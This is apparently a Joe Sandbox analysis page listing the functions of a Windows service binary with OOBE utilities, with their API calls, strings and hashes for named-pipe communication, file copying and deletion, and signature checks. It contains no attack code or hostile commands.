Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandleObjectSingleSleepWait
String ID: CreateIPCChannel failed for pipe %s$Failed in creating client thread$Failed in initial handshake with the client$Failed to sent communnication ID packet to the client$Initializing Communication Channel with ACC with pipename: %s$Problem initializing Communication Channel. Quitting. Error code %d$Sent communnication ID packet to the client$Successfully created the client thread$failed to create a new thread for ipc communications. Fatal Error$thread failed to resumed. fatal error
API String ID: 640476663-1070437462
Opcode ID: 68fa43ea2eba1087806099fb0bd63b4327f9badd3dddcdc44e0fb38c4a85424d
Instruction ID: dce432d37da255bfcb33f67ab20813508531a13952796c9d494c823ab279c1dd
Opcode Fuzzy Hash: 68fa43ea2eba1087806099fb0bd63b4327f9badd3dddcdc44e0fb38c4a85424d
Instruction Fuzzy Hash: F0A1D2B0A40615AFCB00DF65DC86B6E7BA4FF49704F10017AE505AB3D1DB78A914CB9A

Function 00401A30 Relevance: 24.8, APIs: 5, Strings: 9, Instructions: 268synchronizationthreadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000001,?,00401A1C), ref: 00401AC7

Part of subcall function 00401770: SetServiceStatus.ADVAPI32(004C8C64), ref: 00401821
Part of subcall function 00401770: GetLastError.KERNEL32 ref: 00401877

CreateThread.KERNEL32(00000000,00000000,00401520,00000000,00000000,00000000), ref: 00401B0D
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,00401A1C), ref: 00401C91
ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,00401A1C), ref: 00401C99
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00401A1C), ref: 00401D13

Strings

NULL OOBE_Event_t object passed in WaitforEvent , xrefs: 00401C34, 00401C69
SvcInit: Now wating for the close signal, xrefs: 00401C0A
SvcInit: Creat thread failed, xrefs: 00401B5C
SvcInit: Create thread successful, xrefs: 00401BA3
SvcInit: Finished, xrefs: 00401D86
OOBEEvents, xrefs: 00401C43, 00401C6E, 00401CC7, 00401CED
NULL OOBE_Event_t object passed in DestroyEvent , xrefs: 00401CB8, 00401CE8
SvcInit: Started New, xrefs: 00401AA0
OOBEUtils, xrefs: 00401C48, 00401CCC

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorLast$CloseCreateEventHandleObjectResetServiceSingleStatusThreadWait
String ID: NULL OOBE_Event_t object passed in DestroyEvent $NULL OOBE_Event_t object passed in WaitforEvent $OOBEEvents$OOBEUtils$SvcInit: Creat thread failed$SvcInit: Create thread successful$SvcInit: Finished$SvcInit: Now wating for the close signal$SvcInit: Started New
API String ID: 2548555128-2125176678
Opcode ID: fdb8e43f0c7796d05782fa09c5a4e7a52c29433dbb338b57c4b152e7f49b068c
Instruction ID: f73ab4652ae81edbc98d7fd2a5d95e0b0f6ab9935acceea9d8e153ccbd849a11
Opcode Fuzzy Hash: fdb8e43f0c7796d05782fa09c5a4e7a52c29433dbb338b57c4b152e7f49b068c
Instruction Fuzzy Hash: 9291D370B80315ABE710DB559D46B5E3BA4EB10B14F14017BF915B73D1EFB8A9008BAE

Function 00427320 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 148fileCOMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,00000000,0040674D), ref: 0042732E
PathIsDirectoryW.SHLWAPI(00000000), ref: 00427347
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 0042735A
GetLastError.KERNEL32 ref: 0042736C
GetFileAttributesW.KERNEL32(00000000), ref: 00427386
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00427420
DeleteFileW.KERNEL32(00000000), ref: 00427431
GetLastError.KERNEL32 ref: 00427456
GetLastError.KERNEL32 ref: 004274A6

Strings

Failed to delete file: '%s' LastError:%d, xrefs: 00427466, 004274B3
FileUtils, xrefs: 004273BC, 004273F8, 00427475, 004274B8
File '%s' is with read-only. Its attribute is: '%d'. UnSetting its read-only attr and retry deleting, xrefs: 004273AD, 004273EE
OOBEUtils, xrefs: 004273C1, 0042747A

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: File$ErrorLast$AttributesDeletePath$DirectoryExists
String ID: Failed to delete file: '%s' LastError:%d$File '%s' is with read-only. Its attribute is: '%d'. UnSetting its read-only attr and retry deleting$FileUtils$OOBEUtils
API String ID: 2466363971-4107796821
Opcode ID: 00b6d3bf9a951ad68e80268370d137a51b95931526897c450c14d293331eb804
Instruction ID: 1d99e2006965ff6694df6736826d9ecfdb84e75553d3c6a76360acde75f41734
Opcode Fuzzy Hash: 00b6d3bf9a951ad68e80268370d137a51b95931526897c450c14d293331eb804
Instruction Fuzzy Hash: 3341A530745221EBCA10DF19FD99A5A7B65FB85B01BA40477F80197290DB78BC90CBBD

Function 00427AB0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 182encryptionmemoryCOMMON

Download Yara Rule

APIs

WinVerifyTrust.WINTRUST(000000FF,?*@`J,?,BB40E64E,?,?), ref: 00427B84
WTHelperProvDataFromStateData.WINTRUST(00000000), ref: 00427B95
WTHelperGetProvSignerFromChain.WINTRUST(00000000,00000000,00000000,00000000), ref: 00427BAA
WTHelperGetProvCertFromChain.WINTRUST(00000000,00000000), ref: 00427BCA
CertGetNameStringW.CRYPT32(?,00000004,00000000,00000000,00000000,00000000), ref: 00427C07
LocalAlloc.KERNEL32(00000000), ref: 00427C22
CertGetNameStringW.CRYPT32(?,00000004,00000000,00000000,00000000,?), ref: 00427C41
LocalFree.KERNEL32(00000000,00000000,-00000002), ref: 00427C6A
WinVerifyTrust.WINTRUST(000000FF,00AAC56B,00000034), ref: 00427D07

Strings

{|}, xrefs: 00427C85
4, xrefs: 00427B37
?*@`J, xrefs: 00427B00, 00427B0A

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CertFromHelperProv$ChainDataLocalNameStringTrustVerify$AllocFreeSignerState
String ID: 4$?*@`J${|}
API String ID: 318076659-843163469
Opcode ID: 2b2f03a0b2219b9638c237f0a50e4636c7e99644d9adfce77a164d3a7e6bd346
Instruction ID: 07a7e49040c28470832a96e5ee50d6d3bb65460ac79225f476d81bb8c7a89be8
Opcode Fuzzy Hash: 2b2f03a0b2219b9638c237f0a50e4636c7e99644d9adfce77a164d3a7e6bd346
Instruction Fuzzy Hash: 69717BB0E00218AFEB14DFA5DD89B9EBBB8FB04314F10416EE515AB281DBB95944CF58

Function 0041E190 Relevance: 19.8, APIs: 6, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?), ref: 0041E231
LeaveCriticalSection.KERNEL32(?), ref: 0041E288
LeaveCriticalSection.KERNEL32(?), ref: 0041E2DC
EnterCriticalSection.KERNEL32(0036EE80), ref: 0041E302
LeaveCriticalSection.KERNEL32(0036EE80), ref: 0041E37D
LeaveCriticalSection.KERNEL32(00000009), ref: 0041F2F9

Strings

CommBridge, xrefs: 0041E1D6, 0041E20C, 0041E26A, 0041E2BA, 0041E3BE, 0041E3E3, 0041F2AB, 0041F2D7
Wrong pipe context passed %i., xrefs: 0041F29C, 0041F2D2
Pipe name is empty., xrefs: 0041E3AF, 0041E3DE
Pipe already initialized., xrefs: 0041E25B, 0041E2B5
\\.\pipe\, xrefs: 0041E421
Inside initCommBridge, creating pipe %s, xrefs: 0041E1C7, 0041E207
OOBEUtils, xrefs: 0041E1DB, 0041E26F, 0041E3C3, 0041F2B0

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID: CommBridge$Inside initCommBridge, creating pipe %s$OOBEUtils$Pipe already initialized.$Pipe name is empty.$Wrong pipe context passed %i.$\\.\pipe\
API String ID: 2978645861-1085201787
Opcode ID: 2741faf5fde62311bba358750df085c702bd52d97c66e27c1744663fa93f332a
Instruction ID: aaa71bcc0c1ad3f749e7ec319ae41c39833817b2d272478ea5ed4507fdbc246a
Opcode Fuzzy Hash: 2741faf5fde62311bba358750df085c702bd52d97c66e27c1744663fa93f332a
Instruction Fuzzy Hash: 5CA10134700300ABDB24DF66DC9AF9A77A8AB05701F14056FE905972D1DB78F990CBAE

Function 004274E0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 427fileCOMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,BB40E64E,?,00000000,?,?,?,00000000,0049994D,000000FF,?,00406D2F), ref: 0042751A

Part of subcall function 004270D0: PathRemoveFileSpecW.SHLWAPI(00000000,?,?,?,?,?,?,00000000,0049994D,000000FF), ref: 0042714C

Part of subcall function 00427260: PathFileExistsW.SHLWAPI(?,?,0040653E), ref: 0042726E
Part of subcall function 00427260: PathIsDirectoryW.SHLWAPI(?,?,0040653E), ref: 00427283

CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000000,0049994D,000000FF), ref: 004275CB
GetLastError.KERNEL32(?,?,00000000,0049994D,000000FF), ref: 004275E9
GetLastError.KERNEL32(?,?,00000000,0049994D,000000FF), ref: 00427637
SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000,0049994D,000000FF), ref: 00427678

Strings

FileUtils, xrefs: 0042753D, 0042756D, 00427608, 00427649
Source file does not exist in CopyFileFromSourceToDestination, xrefs: 0042752E, 00427568
OOBEUtils, xrefs: 00427542, 0042760D
Failed to copy file at the destination:'%s'. LastError: %d, xrefs: 004275F9, 00427644

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: File$Path$ErrorExistsLast$AttributesCopyDirectoryRemoveSpec
String ID: Failed to copy file at the destination:'%s'. LastError: %d$FileUtils$OOBEUtils$Source file does not exist in CopyFileFromSourceToDestination
API String ID: 3678581443-2441349454
Opcode ID: 3b2b4e70207e77957e346cfaaefa40b7f30fec250b144c30194b88bdfa61c5ea
Instruction ID: 304be064ac5706b44c2d59a599f2d95f36f10b52853653852536ae88b2003d00
Opcode Fuzzy Hash: 3b2b4e70207e77957e346cfaaefa40b7f30fec250b144c30194b88bdfa61c5ea
Instruction Fuzzy Hash: DAE1F471F002249BCB14DF69ED85BAEB7B5FB45710F50422EE411A7390DB38AD41CBA9

Function 0041F360 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 146filesleepCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F38A
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F39F
Sleep.KERNEL32(0000000A,?,?,?,?,00000000,?,?,?), ref: 0041F3B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,00000000,?,?,?), ref: 0041F3CC
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?), ref: 0041F3D6

Strings

Write failed or else (No of bytes written > data). Aborting write on pipe %p , errno: %lu, xrefs: 0041F3F2, 0041F4BC
CommBridge, xrefs: 0041F401, 0041F44B, 0041F48B, 0041F4C1
Number of retries to write to pipe exhausted with last error = %lu. Aborting write on pipe %p, xrefs: 0041F43C, 0041F486
OOBEUtils, xrefs: 0041F406, 0041F450

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ErrorFileLastWrite$Sleep
String ID: CommBridge$Number of retries to write to pipe exhausted with last error = %lu. Aborting write on pipe %p$OOBEUtils$Write failed or else (No of bytes written > data). Aborting write on pipe %p , errno: %lu
API String ID: 2338600601-2345992799
Opcode ID: b8e0a7f11eae0cb03ddd70be310acbc4cd459f475ee6759fc557cd37cf45340b
Instruction ID: bbdbd7131a9a05eaf625d8743bffc745cebe138b644272fe07d0d675cb0cef45
Opcode Fuzzy Hash: b8e0a7f11eae0cb03ddd70be310acbc4cd459f475ee6759fc557cd37cf45340b
Instruction Fuzzy Hash: 13411635B00208BBDB10DFA69C42BBF7B68EB55721F1001BBF815A32C0DA746D4087A8

Function 004163F0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,?,00000000,00404D5E,?), ref: 00416418
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000001,00000000,00000000), ref: 004164B4
GetLastError.KERNEL32 ref: 004164CB
GetLastError.KERNEL32 ref: 0041651E

Strings

Error allocating memory while converting Native string to UTF8 string, xrefs: 0041643D, 00416479
Failed to convert WideCharToMultiByte. ErrorCode::%d, xrefs: 004164DA, 0041652A
StringUtils, xrefs: 0041644C, 0041647E, 004164E9, 0041652F
OOBEUtils, xrefs: 00416451, 004164EE

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: Error allocating memory while converting Native string to UTF8 string$Failed to convert WideCharToMultiByte. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 203985260-2236274340
Opcode ID: e39f2a51ba932da9826a003946e3c0e9b08f0d17437669bc90833129a53970bc
Instruction ID: 716146f1c0389004c4db2de1f4adde63d4e0a6c81021537d3ce57664b142a41d
Opcode Fuzzy Hash: e39f2a51ba932da9826a003946e3c0e9b08f0d17437669bc90833129a53970bc
Instruction Fuzzy Hash: 28417B3578031477DA20AF1AAC47FEA7794EB42B21F2400BBFD09632D0D9696D4487AD

Function 00403C90 Relevance: 13.6, APIs: 2, Strings: 7, Instructions: 137sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00007530), ref: 00403D5D
Sleep.KERNEL32(000003E8), ref: 00403E1E

Strings

Failed to create the connection channel, xrefs: 00403D34
Initializing1 Connection Channel with Service with pipename: %s, xrefs: 00403CD0
Communication is open on the other pipe. Closing the static guid and re-opening for new clients..., xrefs: 00403DF4
Successfully initiated communication, xrefs: 00403DAA
Problem initializing Connection Channel. Quitting., xrefs: 00403D11
Failed to initiate communication, xrefs: 00403DCB
Success:Initializing Connection Channel with Service with pipename: %s, xrefs: 00403D73

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Sleep
String ID: Communication is open on the other pipe. Closing the static guid and re-opening for new clients...$Failed to create the connection channel$Failed to initiate communication$Initializing1 Connection Channel with Service with pipename: %s$Problem initializing Connection Channel. Quitting.$Success:Initializing Connection Channel with Service with pipename: %s$Successfully initiated communication
API String ID: 3472027048-2173017273
Opcode ID: 6df400194c0d2eafb8ad463674300954c48552a7f74c4dd405dff45e14274271
Instruction ID: 5187b662ea0dd10bef7ca44164715a625855074a8d72d76878ed54e6067e5788
Opcode Fuzzy Hash: 6df400194c0d2eafb8ad463674300954c48552a7f74c4dd405dff45e14274271
Instruction Fuzzy Hash: 9141F170600200EFCB10DF19DC89B5A7BA8AF49705F1440BAE909BB3D1CB78ED44CBA9

Function 00418B10 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

APIs

std::_Lockit::~_Lockit.LIBCPMT ref: 00418B88
std::_Lockit::~_Lockit.LIBCPMT ref: 00418BAF
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00418C74
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00418C8E
std::_Lockit::~_Lockit.LIBCPMT ref: 00418D23
std::_Facet_Register.LIBCPMT ref: 00418D30

Part of subcall function 0046877A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00468786

Strings

bad locale name, xrefs: 00418D54

Memory Dump Source

Source File: 0000001D.00000002.1864307544.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.1864240645.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864490602.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864589252.00000000004C4000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000658000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.0000000000663000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.000000000066B000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.1864629783.00000000006A8000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$LockitLockit::~_$Locinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 1871079455-1405518554
Opcode ID: c6cdc14bd338eddc53a98ba7adfe9d068b301496e6a84cf03d0ab39cc8f10731
Instruction ID: 2b18787ee60dced21a1ee80d710d234eacb2e1acb53e15705c8ae09ecf607236
Opcode Fuzzy Hash: c6cdc14bd338eddc53a98ba7adfe9d068b301496e6a84cf03d0ab39cc8f10731
Instruction Fuzzy Hash: DBD16FB1E002189FDB00DFA5C984BDEBBB5BF58314F14406EE805A7391EB78AD45CB99
